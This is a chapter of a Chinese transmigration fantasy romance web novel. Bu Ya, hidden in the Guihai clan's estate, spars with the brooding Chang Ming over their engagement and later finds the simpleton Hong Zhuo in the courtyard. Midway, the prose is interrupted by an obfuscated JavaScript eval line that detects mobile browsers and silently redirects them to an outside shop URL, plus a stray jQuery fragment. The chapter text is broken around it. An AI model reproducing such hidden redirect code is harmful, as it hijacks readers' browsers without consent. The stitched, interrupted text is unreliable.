她的手指蜷缩着,掌心却感受到活物脉搏的跳动,以及结实的手感。
她抬眸,看见了长暝愣怔的脸。
“我说不是故意占你便宜的,你大概不会信吧,但我真不是故意的,谁要你跟鬼一样的吓我。”她余光瞥见此时周遭环境,居然回到了方才醒来时那间雅致的宅院里,他们此时就站在院中的树下。
长暝呼吸慢了一息,猛地松开她的衣襟,“在这鬼地方,一步也不能走错。此地不是你能来的,若是被他们发现你身上根本没有流着归海氏族的血,你会被当成细作抽筋拔骨,求生不得求死不能。”
这些话信息量很大,步芽听完便开始低头慢慢琢磨,好半天寻思出了个惊天秘密,她兴奋地眨巴杏眼,“就是说,我不是我爹娘生的,而是归海氏族的后代!”那也太强了吧!没想到原主身份还可以啊,她就说嘛,一个恶女人设,怎么可能只是从大山中走出的孩子呢!
那么说,她应该喊长暝一声哥哥或弟弟。
见她想偏了,长暝傲慢地望了一眼天,伸手弹了一下她的眉心,“想要进归海氏族的地盘,就必须是这的血脉,但你不是却蒙混进来了,你说呢?”
他似笑非笑地望着她,似乎想从她脸上读出惊恐。
“我不是通过正规渠道走正门进来的吗?”步芽觉得天塌了,双手按住脸颊两侧,“天啊,你在我睡着的时候,到底做了些什么啊!你挖地道带我进来的吗!”
他却勾唇一笑,扯掉绕在手心的发带。
“你干嘛呢,我好不容易给你上了药包扎好的,你扯掉干嘛,这旧伤新伤的,你存心不想好起来啊。”她紧张道,然后伸手捞住他丢下的沾血的发带,想着给他重新包扎一下,却见他掌心中那道伤口似乎才愈合不久,血液才凝固的样子,但......他却徒手用拇指在掌心一搓,将伤口再度搓开,血流出来。
这疯狂的一幕,让她刷新了对他的认知,这已经不是血条厚的问题了,是好像没有痛感一样,连对自己都那么狠,说是狼人都不够,他是狠人中的王者——狼王。
“你疯了吧,不疼吗!”
说罢,步芽便见他将沾了血的拇指伸来,轻轻划过她的脖子,引得她汗毛倒立,眼珠子都对焦到了一块。
他盯着她的脖子道:“其实这的人都是乌合之众,只要略施小计,便无人看出你是不是归海氏族的血脉,是死是活全凭你自己。”
被他手指触碰到的肌肤,引起一阵酥麻。步芽本能往后躲,长暝却手指一颤,不悦道:“怎么,嫌弃我的血?”
不说这个她都不记得了,血这种东西确实值得嫌弃一下,多脏啊,很多病的传播途径就是血液。步芽摸了一下自己的脖子,发现血迹已不见,似乎是瞬间就渗进肌肤中,被吸收殆尽。
她犹豫了一下,没忍住,问道:“我想问问,你身体还算康健吗?”
在牛家村的时候,她就跟那些村民造谣他身子不行,加上此时这一句康健吗落到长暝耳朵里,便带着别样的解读。长暝抿唇无言以对,见她依旧在猛擦脖子,不经捏了下指骨,“我的血就那么不堪,令你无法忍受。”
步芽生怕他真动手弄死她,他的脾性她也摸不透,只得顺毛摸,“没有,我就是脖子痒,脖子痒罢了,和你没关系,真的。”
“怕我?”他望着她,“那为什么还要跟着我?”
步芽吞吞吐吐道:“你的性情......阴晴不定,很难叫人不怕。”
不过下一息,她眼神坚定,继续道:“只是,我不想太早放弃,毕竟我不够了解你,不能就凭着这两三日的相处,就否定你整个人。”
长暝心间一颤,面上却不动声色,“不需要。”
她却忽然扬起笑颜,眨着一侧眼眸,同时弹舌一下,双手分别伸出食指指向他,“虽然你凶巴巴的,不是女子眼中可托付终身的好男儿,但别忘了,你可是被我爹认下的,我的未婚夫婿二胖,不能不认账。”
“你倒是敢乱认。”长暝总觉得她笑起来扎眼,之前是拿步芽以及全村人当成死人对待,对他们的误解都懒得多说。
如今,既然人没死成,他倒觉得该说清楚。
他眸色一沉,“我只会娶我师姐,不管你是出于什么原由,要与我扯上这般关系,都趁早放弃。”
步芽努努嘴,感觉这长暝就是不到黄河心不死,女主只会和男主在一起,真是一眼望到他的BE结局。
她大致记得书中结尾的时候,长暝为了抢回女主花镜,成了最大反派,血洗衡白宗整个宗门,也血洗了归海氏族,后期的长暝就是个杀神,走到哪都是血流成河,只有待在花镜身边,才能克制住心底的杀意。
她能记住这一点剧情,正是因为太深刻,一个前期默默无名,遭到众人唾弃的配角,竟在后期产生翻天覆地的变化。
不过她还是想不起来,长暝是靠什么在后期成为最强的存在。
在善意值没上升到绝对安全值之前,她还是得紧紧抱着长暝的大腿才是。
只要肯让她抱大腿,就都不是大事。步芽脸上故作伤感,眉头紧拧,嘴上却直接松口:“行,既然你不愿意成为我的未来夫婿,那就这样作罢吧。”反正她也不喜欢他,不是非要绑在一块。
之前也是在用这种关系,找个借口留在他身边方便做任务,现在不同,他已经会主动带上她了。
况且,她没想过再回到牛家村去见到原主爹娘,给他们婚事的交代,毕竟这个任务成则通关回到现实世界,败则客死他乡,没有回到起点的机会了。
闻言,长暝的眼神不自觉地暗了一瞬,而后冷漠地盯着她,“想活着,在族宴之前,就老实待在这宅院之中。”
见少年转身离去,步芽也紧张地跟了一步,追问:“那你这大晚上的去哪,你不在的话,我怕你们家族的人看出我不是这的,还是带上我吧,我能给你捶肩捏背,端茶倒水。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598829|203573||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“不行。”长暝直接拒绝她。
“带上我吧,这里虽然大,但我一日三餐,以及休闲娱乐这块要怎么办?”
这话中有长暝不能理解的词,他轻皱眉心,不等他问,步芽就回过味来,解释道:“哦,就是玩,能玩能消遣的东西。”
她叉腰东张西望一下,“这是你以前住的地方吗?虽然很好看,可却一点都不实用,也没个秋千,嗯......也没个活物,小猫小鱼什么的,当然,其实我觉得应该还得有......”
听她说这么多,长暝觉得心烦,“好了。不用再往下细说。”
见他走了,步芽还想跟两步,可长暝的腿也不知道是什么做的,如同脚不着地的鬼魅,等她跟过去,已没了人影。
夜风凉凉地刮在她脸上,她忽然想起长暝叮嘱的话语,便觉得此地更加凶险万分。
系统目前很安静,说明她目前可以暂时摆烂一下。
她决定先窝在这修仙,灵气充沛,又清净。毕竟不能一直都这么菜,得有一点自保能力。
盘算好后,她拿出《修仙术法大全》,蹲坐在台阶上看了一会儿,越看眼睛眯得越小,连意识都感觉在抽离。
最终手一垂,书落地,脑袋往旁一靠,睡了过去。
等她流着哈喇子醒来的时候,是第二天晌午,这才后知后觉自己浪费了一晚上的好时光,抹完嘴角,她打着哈欠伸懒腰,看向院中的一切,忽然定格住。
昨天还冷清寡淡的院子,今天摆满了物件。草地修剪得很平整,她说过的想要的秋千摆在正中央,秋千旁草地里隐约还躺着一穿着红衣的人,她以为是长暝,走近了弯下身子,却看到一张在傻笑的脸。
“红琢!”步芽问:“这里是归海家的地盘,你怎么进来的?”
“嘿嘿嘿,姐姐。”红琢一见到步芽眼睛都亮了几分,憨笑着爬起来,将她的手臂抱进怀中,“我饿了,饿了好久!我刚才一直看你在睡觉呢,就没有吵醒你,我是不是很乖呀?”
说着,他还把头低下来,蹭蹭她,“姐姐摸。”
步芽:“......”这傻子怎么还自来熟。谁要摸他这种大号小朋友。
她伸出两根手指,皱眉很不情愿地点了点他的头顶,而后赶紧在他衣裳上擦了两下,笑道:“好了,很乖。”
红琢继续傻笑。
步芽内心还是很抵触红琢这种人,即便他成为了傻子,她也觉得不值得同情,于是抽出手臂,对红琢保持警惕,“你怎么来到这的?”
“跟你们一起坐车车来的呀。”
“不是,我从头到尾就没看到你人。”
“我在车车的下面哦,藏得特别好,乖不乖?我是不是很棒!”
步芽:“......”有时候觉得跟傻子沟通,多少有点内伤。
但她又不能真和傻子计较。
“你怎么会想到藏牛车下面,一路这样不累人吗。”